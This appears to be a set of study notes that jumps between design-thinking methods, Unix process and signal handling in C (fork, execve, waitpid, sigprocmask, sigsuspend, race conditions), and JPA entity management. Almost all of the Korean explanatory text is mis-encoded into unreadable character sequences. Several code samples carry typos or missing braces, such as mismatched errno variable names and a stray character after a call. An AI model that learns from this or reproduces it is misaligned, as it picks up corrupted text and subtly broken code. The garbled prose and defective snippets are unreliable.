๋ฉด๋ด์ ํตํด ๋์์์ ๋ํ ์ดํด๋ฅผ ํ๋ ๋ฐฉ๋ฒ
๋งฅ๋ฝ ์ง์๋ฒ์ 4๊ฐ์ง ์์น
๋งฅ๋ฝ : ๋์์์ ์์
ํ๊ฒฝ์ ๋ํ ๋ํ
์ผ์ ๊ด์ฐฐํ๋ผ ํํธ๋์ญ : ๋์์๋ฅผ ๊ณต๊ฐํ๋ผ ํด์ : ์ฐ๊ตฌ์๋ ๋์์์๊ฒ ๋ณธ์ธ์ ํด์์ ๊ณต์ ํ๋ผ ํฌ์ปค์ค : ํต์ฌ ๋ชฉํ ์ฃผ์ ์์ ๋ฒ์ด๋์ง ๋ง๋ผ ๋งฅ๋ฝ ์ง์๋ฒ ์ํํ๊ธฐ
์ค๋นํ๊ธฐ, ๊ธฐ๋กํ๊ธฐ ๋์ ๊ด๊ณ ๋ชจ๋ธ (Master-apprentice Model) ๋ง์คํฐ(๋์์)๊ฐ ํด๋น ์
๋ฌดํ๊ฒฝ์์ ์์ ์ ์๊ฐ๊ณผ ํ๋์ ์๋ฆฌ๋ด์ด ๋งํ๊ฒ ํ๋ค ์ฐ๊ตฌ์๋ ๊ฒฌ์ต์์ด ๋์ด ์ค๊ฐ์ค๊ฐ ๋ฌผ์ด๋ณด๋ฉด์ ํ์ตํ๋ค ์๋ฆฌ๋ด์ด ์๊ฐํ๊ธฐ (Think Aloud) ๊ธฐ๋ฒ
๋ณํ์ : ๊ณผ์
์ ํ๋ ๊ณผ์ ์์ ์ค์๊ฐ์ผ๋ก ์ด์ผ๊ธฐ ํ๋ค ํ๊ณ ์ : ๋จ๊ณ๋ณ ๊ณผ์
์ ๋๋ด๊ณ ์ด์ผ๊ธฐํ๋ค ๋ณํ+ํ๊ณ ํ์ด๋ธ๋ฆฌ๋ 2. ๋ฌธ์ ์ ์ ํ๋ฅด์๋ ๋ง๋ค๋ฌผ ํ๋ฅด์๋ : ํน์ ์ํฉ์์ ์ด๋ป๊ฒ ํ๋ํ๊ณ ๋ฐ์ํ๋์ง ์ดํดํ๊ธฐ ์ํด ๋ง๋ ๊ฐ์์ ์ธ๋ฌผ, ์๋ฃจ์
์ ์ํ์ POV ์ ์ํ๊ธฐ ํ๋ฅด์๋์ ๊ด์ ์์ 1๊ฐ์ POV๋ก ์์ถํ์ POV(Point of View) ํ๋ฅด์๋๋ ๋๊ตฌ์ธ๊ฐ? ํ๋ฅด์๋๊ฐ ์ํ๋๊ฒ์ ๋ฌด์์ธ๊ฐ? ํ๋ฅด์๋์๊ฒ ๊ทธ๊ฒ์ด ์ค์ํ ์ด์ ๋ ๋ฌด์์ธ๊ฐ? HMW ์ ์ํ๊ธฐ ๊ตฌ์ฒด์ ์ธ ์์ด๋์ด๋ฅผ ๋ด๊ธฐ ์ํ ๋ธ๋ ์ธ์คํ ๋ฐ ๊ณผ์ POV๋ก ๋ถํฐ ํ์๋๋ฉฐ “์ํ ๊ฐ๋ฅํ ๋จ์"๋ก ์ ์ ํ์ : (์ฐ๋ฆฌ๋) ์ด๋ป๊ฒ ~~~ ํ ๊ฒ ์ธ๊ฐ ๊ณ ๊ฐ์ฌ์ ์ง๋ 3. ์์ด๋์ด ๋์ถ ๋ธ๋ ์ธ์คํ ๋ฐ ์ค์ฆ๋ณธ์ 4์์น ๋นํ๊ธ์ง ์์ ๋ถ๋ฐฉ ์ง๋ณด๋ค ์ Idea ํธ์น ์ดํผ๋ํฐ ๋ค์ด์ด๊ทธ๋๋ฐ (์นํ๋๋ฒ) ์์งํ ๋ฐ์ดํฐ๋ฅผ ์ ๋ฆฌํ๋ ๋ฐฉ๋ฒ ๋ฐ์ดํฐ์์ ๊ณตํต๋ ์ด์/๋ฌธ์ /ํ์์ฑ ๋ฑ์ ๋์ถํ ์ ์์ ์์ฝํ์ฌ ํฌ์คํธ์์ ๊ธฐ๋ก, ์ ์ฌํ ํ
๋ง, ํ ํฝ์ผ๋ก ๊ทธ๋ฃนํ ๋ค์ํ ์์ด๋์ด ๋์ถ ๋ฐฉ๋ฒ ์์ฌ๊ฒฐ์ ๊ทธ๋ฆฌ๋ (๊ธด๊ธ๋, ์ค์๋) 10+10 ๋ฐฉ๋ฒ (10๊ฐ์ ์์ด๋์ด, 10๊ฐ์ ์๋ฃจ์
) ์์ด๋์ด ํ๊ฐ ํ
์ด๋ธ (์ ์ ๋งค๊ธฐ๊ธฐ) ์์ด๋์ด๋ฅผ ์ปจ์
์ผ๋ก ์ฎ๊ธฐ 4. Prototype ์คํ ๋ฆฌ๋ณด๋ ์คํ ๋ฆฌ๋ณด๋๋ ์ ํ ์ฌ์ฉ์ ํ๊ฒฝ, ์ ์ฐจ, ๋์ฆ ์ถฉ์กฑ ์์๊ฐ ํฌํจ๋๋ค ์คํ ๋ฆฌ๋ณด๋ฉ ์ ์ฐจ ์คํ ๋ฆฌ๋ผ์ธ ๋ง๋ค๊ธฐ ๋ฉ์ธ ์ค์ ์ท ๊ทธ๋ฆฌ๊ธฐ ํต์ฌ ์์ด๋์ด์ ์ ๋ฌ์ ์ํ ์ ์ ํ ์นด๋ฉ๋ผ ๊ตฌ๋ ์ค์ ๋ฐ ๊ทธ๋ฆฌ๊ธฐ ํ๋๊ณผ ์์ง์ ๊ฐ์กฐ ์ฒ๋ฆฌํ๊ธฐ ์ฌ๋๋ค์๊ฒ ์์ฐ ํ ํผ๋๋ฐฑ ๋ฐ๊ณ ์์ ํ๊ธฐ 09-process1 ์์ธ์ ์ธ ์ ์ด ํ๋ฆ ํ์ ๋งค์ปค๋์ฆ ์์ธ (Exception) ์์ ๋งค์ปค๋์ฆ ํ๋ก์ธ์ค ์ปจํ
์คํธ ์ ํ OS ์ํํธ์จ์ด์ ํ๋์จ์ด ํ์ด๋จธ๋ก ๊ตฌํ ์๊ทธ๋ OS ์ํํธ์จ์ด๋ก ๊ตฌํ nolocal ์ ํ ์์ธ ํ
์ด๋ธ (Exception Tables) ๊ฐ ์ด๋ฒคํธ ํ์
์ ์์ธ๋ฒํธ k๋ฅผ ๊ฐ๋๋ค ๋น๋๊ธฐํ ์์ธ (Interrupt) ์
์ถ๋ ฅ ์ธํฐ๋ฝํธ (ctrl + c)
ํ๋ ๋ฆฌ์
์ธํฐ๋ฌํธ
์ํํธ ๋ฆฌ์
์ธํฐ๋ฝํธ
๋๊ธฐํ ์์ธ Traps : ๋ช
๋ น์ด์ ๊ฒฐ๊ณผ๋ก ๋ฐ์ํ๋ ์๋์ ์ธ ์์ธ (syscall)
Faults : ํธ๋ค๋ฌ๊ฐ ์ ์ ํ ์ ์๋ ์๋ฌ์ ๊ฒฐ๊ณผ๋ก ๋ฐ์ (page faults)
Aborts : ๋ณต๊ตฌ ๋ถ๊ฐ๋ฅํ ์๋ฌ์ ๊ฒฐ๊ณผ๋ก ๋ฐ์
Page Fault ์ฌ์ฉ์ ๋ฉ๋ชจ๋ฆฌ์ ํน์ ํ์ด์ง๊ฐ ํ์ฌ ํ๋๋์คํฌ์ ์์นํ๋ ๊ฒฝ์ฐ
์ค๋ฅ ์ฒ๋ฆฌํ์ ์ค๋ฅ๋ฅผ ๋ฐ์์ํจ ๋ช
๋ น์ด๋ฅผ ๋ค์ ์คํํ๋ค
1int a [1000]; 2int main () { 3a[500] = 13; 4} Process ํ๋ก์ธ์ค : ์ด์์ฒด์ ๊ฐ ๋ง๋ค์ด ์ฃผ๋ ํ๋ก๊ทธ๋จ์ ํ ์คํ ์
ํ๋ก๊ทธ๋จ์ 2๊ฐ์ ์ค์ํ ์ถ์ํ ์ ๊ณต
๋
ผ๋ฆฌ์ ์ธ ์ ์ด ํ๋ฆ : ๊ฐ ํ๋ก๊ทธ๋จ์ด CPU๋ฅผ ๋
์ ํ๋ ๊ฒ์ฒ๋ผ ๋ณด์ด๊ฒ ํ๋ค ์ฌ์ ์ธ ์ฃผ์ ๊ณต๊ฐ : ๊ฐ ํ๋ก๊ทธ๋จ์ด ์ฃผ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋
์ ํ๋ ๊ฒ ์ฒ๋ผ ๋ณด์ด๋๋ก ํ๋ค ์ด๋ป๊ฒ? ํ๋ก์ธ์ค์ ์คํ์ด ์๋ก ๊ต๋๋ก ์คํ๋๋ค ์ฃผ์๊ณต๊ฐ์ ๊ฐ์๋ฉ๋ชจ๋ฆฌ ์์คํ
์ ์ํด ๊ด๋ฆฌ Multiprocessing (๊ณผ๊ฑฐ) ํ์ฌ ๋ ์ง์คํฐ๋ค์ ๋ฉ๋ชจ๋ฆฌ์ ๋ณด๊ด
๋ค์ ํ๋ก์ธ์ค๋ฅผ ์คํํ๊ธฐ ์ํด ์ค์ผ์ฅด๋ง
๋ณด๊ด๋ ๋ ์ง์คํฐ๋ค์ ๊ฐ์ ธ์ค๊ณ ์ฃผ์๊ณต๊ฐ์ ์ ํ (context switch)
Multiprocessing (ํ๋) ๋ฉํฐ์ฝ์ด ํ๋ก์ธ์
๊ฐ ์ฝ์ด๋ ๋ณ๋์ ํ๋ก์ธ์ค๋ฅผ ์คํ ๊ฐ๋ฅ
๋์์ฑ ํ๋ก์ธ์ค ๋ ํ๋ก์ธ์ค์ ์คํ์๊ฐ์ด ์๋ก ์ค์ฒฉ๋๋ฉด -> concurrent ์ค์ฒฉ๋์ง ์๊ณ ์์ฐจ์ ์ผ๋ก ์คํ๋๋ค๋ฉด -> sequential fork 1int fork(void) ํธ์ถํ๋ ํ๋ก์ธ์ค์ ๋์ผํ ์ ํ๋ก์ธ์ค ์์ฑ ์์ ํ๋ก์ธ์ค๋ 0์ ๋ฆฌํด ๋ถ๋ชจ ํ๋ก์ธ์ค๋ ์์ ํ๋ก์ธ์ค์ pid ๋ฆฌํด exit 1void exit(int status) ์ข
๋ฃ ์ํ status ๊ฐ์ ๊ฐ์ง๊ณ ์ข
๋ฃ (์ ์์ด๋ฉด 0) atexit() ํจ์๋ exit ํ ๋ ์คํํ ํจ์๋ฅผ ๋ฑ๋ก ์ข๋น (Zombies) ์ข
๋ฃ๋์์ง๋ง, ์์ง ์ ๋ฆฌ๋์ง ์์ ํ๋ก์ธ์ค
1void fork8() { 2if (fork() == 0) { 3 printf("Running child, PID = %d\n", getpid()); 4 while (1) 5 ; 6} 7else { 8 printf("Terminating Parent, PID = %d\n", getpid()); 9 exit(0); 10} 11} 10-process2 wait 1int wait (int *child_status) ํ์ฌ ํ๋ก์ธ์ค๋ฅผ ์์ ์ ์์ ํ๋ก์ธ์ค๋ค ์ค์ ํ๋๊ฐ ์ข
๋ฃ๋ ๋๊น์ง ์ ์ง์ํจ๋ค
๋ฆฌํด๊ฐ์ ์ข
๋ฃํ ์์ ํ๋ก์ธ์ค์ PID
child_status != NULL์ธ ๊ฒฝ์ฐ, ์์ ํ๋ก๊ทธ๋จ์ ์ข
๋ฃ ์ด์ ๋ฅผ ๋ํ๋ด๋ ์ํ์ ๋ณด๋ฅผ ๊ฐ๋๋ค
example
1pid_t wpid = wait(&child_status); 2if (WIFEXITED(child_status)) 3 printf("Child %d terminated with exit status %d\n", wpid, WEXITSTATUS(child_status)); 4else 5 printf("Child %d terminate abnormally\n", wpid); waitpid 1waitpid(pid, &status, options) pid : ํน์ pid์ ํ๋ก์ธ์ค๋ฅผ ๊ธฐ๋ค๋ฆฐ๋ค. -1์ด๋ฉด wait()๊ณผ ๋์ผ
options : 0 (์ข
๋ฃ๋ ์์์ ๊ธฐ๋ค๋ฆฐ๋ค), WNOHANG(==1 ํ๋ฒ๋ง ์ฒดํฌ), WUNTRACED(==2, ์ ์ง๋๊ฑฐ๋ ์ข
๋ฃ๋ ์์์ ๊ธฐ๋ค๋ฆฐ๋ค)
sleep 1// ์๊ธฐ ์์ ์ secs์ด ๋์ ์ ์ง 2unsigned int sleep(unsigned int secs) 3// ํธ์ถํ๋ ํ๋ก์ธ์ค๋ฅผ ์๊ทธ๋ ๋ฐ์ ๋ ๊น์ง ์ ์ฌ์ด๋ค 4int pause(void) execve 1int execve(char *filename, char *argv[], char *envp[]) ์คํ ํ์ผ filename์ ํ์ฌ ํ๋ก์ธ์ค์ ํ๊ฒฝ๋ณ์๋ฅผ ์ด์ฉํ๋ฉด์ argv๋ก ํ์ฌ์ code, data, stack์ ๋ฎ์ด ์์
example
1if ((pid = fork()) == 0) { 2 if (execve(myargv[0], myargv, environ) < 0) { 3 printf("%s: Command not found.\n", myargv[0]); 4 exit(1); 5 } 6} shell ์ฌ์ฉ์์ ๋ช
๋ น์ ์ฒ๋ฆฌํด์ฃผ๋ ์์ฉ ํ๋ก๊ทธ๋จ
Utility : file๋ก ๊ตฌํ๋ ๋ช
๋ น์ด Built-in : ์ฝ๋๋ก ๊ตฌํ๋ ๋ช
๋ น์ด eval 1void eval(char *cmdline) { 2 char *argv[MAXARGS]; 3 int bg; 4 pid_t pid; 5 6 bg = parseline(cmdline, argv); 7 if (!builtin_command(argv)) { 8 if ((pid = fork()) == 0) { 9 if (execve(argv[0], argv, environ) < 0) { 10 printf("%s: Command not found.\n", argv[0]); 11 exit(0); 12 } 13 } 14 15 if (!bg) { 16 int status; 17 if (waitpid(pid, &status, 0) < 0 ) 18 unix_error("waitfg: waitpid error"); 19 } 20 else 21 printf("%d %s", pid, cmdline); 22 } 23} -> ๋ฐฑ๊ทธ๋ผ์ด๋ ์์
์ด ์ข
๋ฃ๋๋ฉด zombie๊ฐ ๋๋ค
ํด๊ฒฐ๋ฐฉ๋ฒ : signal 11-signal Signal ์ด๋ค ์ด๋ฒคํธ๊ฐ ์์คํ
์ ๋ฐ์ํ๋ค๋ ๊ฒ์ ํ๋ก์ธ์ค์๊ฒ ์๋ ค์ฃผ๋ ์งง์ ๋ฉ์์ง
Receiving a signal ๋ชฉ์ ์ง ํ๋ก์ธ์ค๊ฐ ์๊ทธ๋์ ๋ฐ์ ๋, ์ด๋ค ํํ๋ก๋ ๋ฐ์์ ํ๋๋ก ์ปค๋์ ์ํด ์๊ตฌ๋ ๋, ์๊ทธ๋์ ๋ฐ๋๋ค๊ณ ํ๋ค.
3๊ฐ์ง ๋ฐ์ ๋ฌด์ ๋์ ํ๋ก์ธ์ค๋ฅผ ์ข
๋ฃ signal handler๋ผ๊ณ ๋ถ๋ฅด๋ ์ ์ ๋ ๋ฒจ ํจ์๋ฅผ ์คํํ์ฌ ์๊ทธ๋์ ์ก๋๋ค ์๊ทธ๋์ ํน์ง ํ๋ก์ธ์ค๋ ํน์ ์๊ทธ๋์ ์์ ์ ๋ธ๋กํ ์ ์๋ค. ๋๊ธฐํ๋ ์๊ทธ๋์ ์ต๋ ํ๋ฒ๋ง ์์ ํ ์ ์๋ค. ์ปค๋์ด context์ ๊ฐ์ง๊ณ ์๋ ๋นํธ๋ฒกํฐ pending : ๋๊ธฐ ์๊ทธ๋๋ค์ ํ์ ๋์ฐฉํ ๋๋ง๋ค pending๊ฐ์ k๋ฒ์งธ ๋นํธ๋ฅผ 1๋ก ์ค์ ์์ ํ ๋๋ง๋ค pending๊ฐ์ k๋ฒ์งธ ๋นํธ๋ฅผ 0์ผ๋ก ์ค์ blocked : ๋ธ๋ก๋ ์๊ทธ๋๋ค์ ํ์ sigprocmask ํจ์๋ฅผ ์ฌ์ฉํ์ฌ ์์ฉํ๋ก๊ทธ๋จ์ด 1๋๋ 0๋ก ์ค์ ํ๋ก์ธ์ค ๊ทธ๋ฃน ๊ฐ ํ๋ก์ธ์ค๋ ํ๋์ ํ๋ก์ธ์ค ๊ทธ๋ฃน์ ์ํ๋ค ๊ธฐ๋ณธ์ ์ผ๋ก ์์์ ๋ถ๋ชจ์ ๊ฐ์ ๊ทธ๋ฃน์ ์ํ๋ค ์์ ๊ฐ job๋ง๋ค ๋ณ๋์ ํ๋ก์ธ์ค ๊ทธ๋ฃน์ ๋ง๋ ๋ค getpgrp() : ํ๋ก์ธ์ค์ ํ๋ก์ธ์ค ๊ทธ๋ฃน์ ๋ฆฌํด setpgid() : ํ๋ก์ธ์ค์ ๊ทธ๋ฃน์ ๋ณ๊ฒฝ kill kill -9 24818 : SIGKILL์ pid 24818๋ก ๋ณด๋ kill -9 -24817 : pgid 24871์ ๊ฐ ํ๋ก์ธ์ค์ SIGKILL์ ๋ณด๋ ํค๋ณด๋๋ก๋ถํฐ ์๊ทธ๋ ๋ณด๋ด๊ธฐ ํค๋ณด๋๋ก ctrl+c (ctrl+z)๋ฅผ ๋๋ฅด๋ฉด SIGINT(SIGTSTP) ์๊ทธ๋์ด ํฌ๊ทธ๋ผ์ด๋ ํ๋ก์ธ์ค ๊ทธ๋ฃน์ ๋ชจ๋ ์์
์ผ๋ก ์ ์ก๋๋ค SIGINT : ๊ฐ ํ๋ก์ธ์ค๋ฅผ ๋ชจ๋ ์ข
๋ฃ์ํจ๋ค. SIGTSTP : ๊ธฐ๋ณธ ๋์์ ๊ฐ ํ๋ก์ธ์ค๋ฅผ ์ ์ง์ํจ๋ค. ์๊ทธ๋ ๋ฐ๊ธฐ ์ปค๋์ pnb = pending & ~blocked ๋ฅผ ๊ณ์ฐ ๊ฐ ์๊ทธ๋ ํ์
์ ์ฌ์ ์ ์ ์๋ ๊ธฐ๋ณธ ๋์์ ๊ฐ์ง๋ค. ๊ธฐ๋ณธ ๋์์ signalํจ์๋ฅผ ์ด์ฉํ์ฌ ๋ณ๊ฒฝ์ด ๊ฐ๋ฅํ๋ค (SIGSTOP๊ณผ SIGKILL์ ์์ธ) ์๊ทธ๋ ํธ๋ค๋ฌ์ ์ค์น 1handler_t *signal(int signum, handler_t *handler) handler์ ๊ฐ SIG_IGN : signum ํ์
์๊ทธ๋ ๋ฌด์ SIG_DFL : signum์ ๊ธฐ๋ณธ๋์์ผ๋ก ๋ณต๊ท ์ด์ธ์ ๊ฒฝ์ฐ : signal handler์ ์ฃผ์ ์๊ทธ๋ ๋ธ๋กํ๊ธฐ์ ํด์ ํ๊ธฐ sigprocmask ์ด์ฉ
1int sigprocmask(int how, const sigset_t *set, sigset_t *oldest); how๊ฐ์ ๋ฐ๋ผ ๋์์ด ๊ฒฐ์ ๋๋ค
SIG_BLOCK : blocked = (blocked | set) SIG_UNBLOCK : blocked = blocked & ~set SIG_SETMASK : blocked = set set ๊ด๋ จ ์ง์ ํจ์
sigemptyset : ๋ชจ๋ ์๊ทธ๋์ด ๋น์ด์๋ ์งํฉ ์์ฑ sigfillset : ๋ชจ๋ ์๊ทธ๋ ๋ฒํธ๋ฅผ 1๋ก ์ค์ sigaddset : ํน์ ์๊ทธ๋ ๋ฒํธ๋ฅผ 1๋ก ์ค์ sigdelset : ํน์ ์๊ทธ๋ ๋ฒํธ๋ฅผ 0์ผ๋ก ์ค์ ๊ฒฝ์ฃผ Race ํ์์ผ๋ก ์ธํ ๋๊ธฐํ์ ๋ฌธ์ 1void handler(int sig) { 2 int olderrno = errno; 3 sigset_t mask_all, prev_all; 4 pid_t pid; 5 6 sigfillset(&mask_all); 7 while ((pid = waitpid(-1, NULL, 0)) > 0 ) { 8 sigprocmask(SIG_BLOCK, &mask_all, &prev_all); 9 deletejob(pid); 10 sigprocmask(SIG_SETMASK, &prev_all, NULL); 11 } 12 if (errno != ECHILD) 13 sio_error("waitpid error"); 14 errno = olderno; 15} 16 17int main(int argc, char **argv) { 18 int pid; 19 sigset_t mask_all, prev_all; 20 int n = N; // N = 5 21 sigfillset(&mask_all); 22 signal(SIGCHLD, handler); 23 initjobs(); 24 25 while (n--) { 26 if ((pid = fork()) == 0) { 27 execve("/bin/date", argv, NULL); 28 } 29 // !! ์ฌ๊ธฐ์ SIGCHLD๊ฐ ๋ฐ์ํ๋ฉด ์ค๋ฅ 30 31 // ํธ๋ค๋ฌ์์ job์ accessํ์ง ๋ชปํ๋๋ก ๋ชจ๋ signal block 32 sigprocmask(SIG_BLOCK, &mask_all, &prev_all)๋ฅ 33 addjob(pid); 34 sigprocmask(SIG_SETMASK, &prev_all, NULL); 35 } 36 exit(0); 37} ๋ถ๋ชจ๊ฐ ๋จผ์ SIGCHLD ์๊ทธ๋์ด ํฐ์ง๊ธฐ ์ ์ SIG_BLOCKํ๊ณ addjob์ ํ๋ ๊ฒฝ์ฐ -> OK ๋ถ๋ชจ๊ฐ SIG_BLOCKํ๊ธฐ ์ ์ ์์์ด ๋๋๋ ๊ฒฝ์ฐ handler๊ฐ ๋จผ์ ์คํ๋๋ค addjobํ๊ธฐ์ ์ deletejob ์ํ ๋ฌดํ ๋ฃจํ ๋ฐ์ ๊ฒฝ์ฃผํ์์ ํํผํ๋ ๋๊ธฐํ ๋ฐฉ๋ฒ 1int main(int argc, char **argv) { 2 int pid; 3 sigset_t mask_all, mask_one, prev_one; 4 int n = N; // N = 5 5 sigfillset(&mask_all); 6 sigemptyset(&mask_one); 7 sigaddset(&mask_one, SIGCHLD); 8 signal(SIGCHLD, handler); 9 initjobs(); 10 11 while (n--) { 12 sigprocmask(SIG_BLOCK, &mask_one, &prev_one); // block SIGCHILD 13 if ((pid = fork()) == 0) { 14 // ์์์ SIGCHLD๋ฅผ blockํ ํ์๊ฐ ์์ผ๋ฏ๋ก ๋ค์ unblock 15 sigprocmask(SIG_SETMASK, &prev_one, NULL); // unblock SIGCHLD 16 execve("/bin/date", argv, NULL); 17 } 18 sigprocmask(SIG_BLOCK, &mask_all, NULL); 19 addjob(pid); 20 sigprocmask(SIG_SETMASK, &prev_one, NULL); 21 } 22 exit(0); 23} ๋ถ๋ชจ์
์ฅ์์ fork๊ฐ ์คํ๋๊ณ ๋์ SIGCHLD๊ฐ unblock ๋๋ ์๊ฐ์ด ๋จ ํ๋ฒ๋ ์กด์ฌ ํ์ง ์์. ํญ์ addjob์ด ๋จผ์ ์คํ๋จ -> ์ค๋ฅ X ๋ช
์์ ์ผ๋ก ํธ๋ค๋ฌ๋ฅผ ๊ธฐ๋ค๋ฆฌ๋ ๋ฐฉ์ 1volatile sig_atomic_t pid; // pid๋ ์ ์ญ๋ณ์๋ก ์ ์ธ 2void sigchld_handler(int s) { 3 int orderrno = errno; 4 // sigchld_handler์์ waitpid ํ๋ ๋ฐฉ์ 5 pid = waitpid(-1, NULL, 0); 6 errno = olderrno; 7} 8void sigint_handler(int s) {} 9 10int main(int argc, char **argv) { 11 sigset_t mask, prev; 12 int n = N; // N = 10 13 signal(SIGCHLD, sigchld_handler); 14 signal(SIGINT, sigint_handler); 15 sigemptyset(&mask); 16 sigaddset(&mask, SIGCHLD); 17 18 while (n--) { 19 sigprocmask(SIG_BLOCK, &mask, &prev); // block SIGCHILD 20 if (fork() == 0) 21 exit(0); 22 23 pid = 0; 24 sigprocmask(SIG_SETMASK, &prev, NULL); 25 26 // Wait for SIGCHLD to be recieved 27 while (!pid) 28 ; 29 30 // Do some work after receiving SIGCHLD 31 printf("."); 32 33 printf("\n"); 34 exit(0); 35} sigsuspend๋ฅผ ์ฌ์ฉํ ์๊ทธ๋ ๋๊ธฐํ
1int sigsuspend(const sigset_t *mask); 2// ์๋์ ์ฝ๋๋ฅผ ๊ตฌํํ ๊ฒ๊ณผ ๋์ผ 3sigprocmask(SIG_SETMASK, &mask, &prev); 4pause(); 5sigprocmask(SIG_SETMASK, &prev, NULL); sigsuspend๋ฅผ ์ด์ฉํ ์๊ทธ๋ ๊ธฐ๋ค๋ฆฌ๊ธฐ
1int main(int argc, char **argv) { 2sigset_t mask, prev; 3int n = N; // N = 10 4signal(SIGCHLD, sigchld_handler); 5signal(SIGINT, sigint_handler); 6sigemptyset(&mask); 7sigaddset(&mask, SIGCHLD); 8 9while (n--) { 10 sigprocmask(SIG_BLOCK, &mask, &prev); // block SIGCHILD 11 if (fork() == 0) 12 exit(0); 13 14 pid = 0; 15 // Wait for SIGCHLD to be recieved 16 while (!pid) 17 sigsuspend(&prev); 18 19 // Optionally unblock SIGCHILD 20 sigprocmask(SIG_SETMASK, &prev, NULL); 21 22 // Do some work after receiving SIGCHLD 23 printf("."); 24} 25printf("\n"); 26exit(0); 27} JPA (Java Persistence API) JAVA์ง์์ ORM ๊ธฐ์ ํ์ค, interface ๋ชจ์ Hibernate, EclipseLink, DataNucleus ๋ฑ์ ๊ตฌํ์ฒด๊ฐ ์กด์ฌ EntityManager Entity : RDB์ Table๊ณผ ๋งคํ๋๋ ๊ฐ์ฒด EntityManagerFactory Entity๋ฅผ ๊ด๋ฆฌํ๋ EntityManager๋ฅผ ์์ฐํ๋ ๊ณต์ฅ Thread safe: O EntityManager Entity์ CRUD๋ฑ ๋ชจ๋ ์ผ์ ์ฒ๋ฆฌ Thread safe: X ์์์ฑ ์ปจํ
์คํธ Entity๋ฅผ ์๊ตฌ ์ ์ฅํ๋ ํ๊ฒฝ EntityManager๋ Entity๋ฅผ ์์์ฑ ์ปจํ
์คํธ์ ๋ณด๊ดํ๊ณ ๊ด๋ฆฌํ๋ค ์์์ฑ ์ปจํ
์คํธ์์ ๊ด๋ฆฌ๋๋ Entity๋ ์๋ณ์๊ฐ์ ๊ฐ์ ธ์ผ ํ๋ค (ID) -> key-value๋ก Entity๋ฅผ ๊ด๋ฆฌํ๊ธฐ ๋๋ฌธ flush: ์์์ฑ ์ปจํ
์คํธ์ ๋ณ๊ฒฝ ๋ด์ฉ๋ค์ DB์ ๋๊ธฐํํ๋ ์์
์์์ฑ ์ปจํ
์คํธ์ ์ด์ 1์ฐจ ์บ์ ๋์ผ์ฑ ๋ณด์ฅ ํธ๋์ญ์
์ ์ง์ํ๋ ์ฐ๊ธฐ ์ง์ฐ ๋ณ๊ฒฝ ๊ฐ์ง ์ง์ฐ ๋ก๋ฉ Entity์ Life cycle ๋น์์ (New / Transient): ์์์ฑ ์ปจํ
์คํธ์ ์ ํ ๊ด๊ณ๊ฐ ์๋ ์ํ ์์ (Managed): ์์์ฑ ์ปจํ
์คํธ์ ์ ์ฅ๋ ์ํ ์ค์์ (Detached): ์์์ฑ ์ปจํ
์คํธ์ ์ ์ฅ๋์๋ค๊ฐ ๋ถ๋ฆฌ๋ ์ํ ์ญ์ (Removed): ์ญ์ ๋ ์ํ ์ ์ฅ 1EntityManager em = emf.createEntityManager(); // Entity manger ์์ฑ 2EntityTransaction transaction = em.getTransaction(); // Transaction ํ๋ 3transaction.begin(); 4 5Customer customer = new Customer(); // ๋น์์ ์ํ 6customer.setId(1L); 7customer.setFirstName("John"); 8customer.setLastName("Doe"); 9 10em.persist(customer); // ์์ํ 11 12transaction.commit(); // Transaction commit ์กฐํ 1// Customer(1L) ๋ง๋ค์ด์ commit 2... 3Customer entity = em.find(Customer.class, 1L); // 1์ฐจ ์บ์์์ ์กฐํ, query ์คํ X 4em.clear(); // ์์์ฑ ์ปจํ
์คํธ๋ฅผ ์ด๊ธฐํ 5Customer entity = em.find(Customer.class, 1L); // DB์์ ์กฐํ, query ์คํ O ์์ 1// Customer(1L) ๋ง๋ค์ด์ commit 2... 3Customer entity = em.find(Customer.class, 1L); 4entity.setFirstName("guppy"); 5entity.setLastName("hong"); 6 7transaction.commit(); // update! ๋ณ๊ฒฝ๊ฐ์ง (dirty checking) JPA๋ Entity๋ฅผ ์์ํํ ๋์ ์ต์ด ์ํ๋ฅผ ์ค๋
์ท์ผ๋ก ์ ์ฅํด๋๋ค flush ์์ ์ ์ค๋
์ท๊ณผ ๋น๊ตํด์ ๋ณ๊ฒฝ๋ Entity์ ๋ํด update query๋ฅผ ์ํํ๋ค ์ญ์ 1// Customer(1L) ๋ง๋ค์ด์ commit 2... 3Customer entity = em.find(Customer.class, 1L); 4em.remove(entity); 5 6transaction.commit(); // delete! Entity Mapping ๋จ์ผ ์ํฐํฐ๋งคํ @Entity : ๊ธฐ๋ณธ ์์ฑ์ ํ์ @Table : name์ผ๋ก ๋งคํํ ํ
์ด๋ธ ์ด๋ฆ ์ง์ @Id GenerationType - AUTO, IDENTITY, SEQUENCE, TABLE @Column name, length, unique, columnDefinition… insertable=updatable, nullable @Enumerated EnumType - ORDINAL, STRING ์ฐ๊ด๊ด๊ณ ๋งคํ ํ
์ด๋ธ์ ์ธ๋ํค๋ก ์ฐ๊ด ๊ด๊ณ๋ฅผ ๋งบ๋๋ค ๊ฐ์ฒด๋ ์ฐธ์กฐ๋ฅผ ํตํด ์ฐ๊ด ๊ด๊ณ๋ฅผ ๋งบ๋๋ค 1. ์ฐธ์กฐ์ ๋ฐฉํฅ ๋จ๋ฐฉํฅ, ์๋ฐฉํฅ
ํ
์ด๋ธ์ ํญ์ ์๋ฐฉํฅ์ด๋ค 2. ์ฐ๊ด ๊ด๊ณ ์ฃผ์ธ ๊ฐ์ฒด๊ฐ ์๋ฐฉํฅ ์ฐ๊ด ๊ด๊ณ๋ฅผ ๋งบ์ ๋, ์ฐ๊ด ๊ด๊ณ์ ์ฃผ์ธ์ ์ ํด์ผ ํ๋ค ์ฃผ์ธ๋ง ์ธ๋ ํค๋ฅผ ๊ด๋ฆฌ(๋ฑ๋ก, ์์ ) ํ ์ ์๋ค, ์ฃผ์ธ์ด ์๋ ์ชฝ์ ์ฝ๊ธฐ๋ง ๊ฐ๋ฅ mappedBy๋ฅผ ํตํด ์ฃผ์ธ์ด ์๋ ์ํฐํฐ์์ ์ฃผ์ธ์ ์ง์ ํ๋ค 3. ๋ค์ค์ฑ ManyToOne, OneToMany, OneToOne, ManyToMany
JoinColumn(name="", referencedColumnName="") ์ธ๋ ํค๋ฅผ ๋งคํํ ๋ ์ฌ์ฉ name: ๋งคํํ ์ธ๋ ํค ์ด๋ฆ referencedColumnName: ์ธ๋ ํค๊ฐ ์ฐธ์กฐํ๋ ๋์ ํ
์ด๋ธ์ ์ปฌ๋ผ๋ช
